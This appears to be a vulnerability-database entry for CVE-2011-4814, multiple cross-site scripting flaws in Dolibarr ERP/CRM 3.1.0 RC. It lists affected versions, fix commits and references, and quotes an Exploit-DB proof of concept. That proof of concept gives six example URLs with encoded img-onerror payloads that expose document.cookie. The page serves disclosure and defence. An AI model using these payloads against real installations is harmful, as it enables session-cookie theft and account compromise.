CVE-2011-4814
Description
Multiple cross-site scripting (XSS) vulnerabilities in Dolibarr 3.1.0 RC and probably earlier allow remote attackers to inject arbitrary web script or HTML via the PATH_INFO to (1) index.php, (2) admin/boxes.php, (3) comm/clients.php, (4) commande/index.php; and the optioncss parameter to (5) admin/ihm.php and (6) user/home.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Dolibarr ERP/CRM 3.1 - Multiple Script URI Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/50777/info
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected.
http://www.example.com/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://www.example.com/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3 E
http://www.example.com/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29% 3E
http://www.example.com/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%2 9%3E
http://www.example.com/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
http://www.example.com/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| dolibarr | dolibarr_erp\/crm | {"endIncluding":"3.1.0"} | |
| dolibarr | dolibarr_erp\/crm | 2.5.0 | |
| dolibarr | dolibarr_erp\/crm | 2.6.0 | |
| dolibarr | dolibarr_erp\/crm | 2.6.1 | |
| dolibarr | dolibarr_erp\/crm | 2.7.0 | |
| dolibarr | dolibarr_erp\/crm | 2.7.1 | |
| dolibarr | dolibarr_erp\/crm | 2.8.0 | |
| dolibarr | dolibarr_erp\/crm | 2.8.1 | |
| dolibarr | dolibarr_erp\/crm | 2.9.0 | |
| dolibarr | dolibarr_erp\/crm | 3.0.0 | |
| dolibarr | dolibarr_erp\/crm | 3.0.1 | |
References
- http://www.osvdb.org/77339
- http://www.securityfocus.com/archive/1/520619/100/0/threaded
- http://www.securityfocus.com/bid/50777
- https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91
- https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
- https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a
- https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675
- https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.html
- http://www.osvdb.org/77339
- http://www.securityfocus.com/archive/1/520619/100/0/threaded
- http://www.securityfocus.com/bid/50777
- https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91
- https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
- https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a
- https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675
- https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.html
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.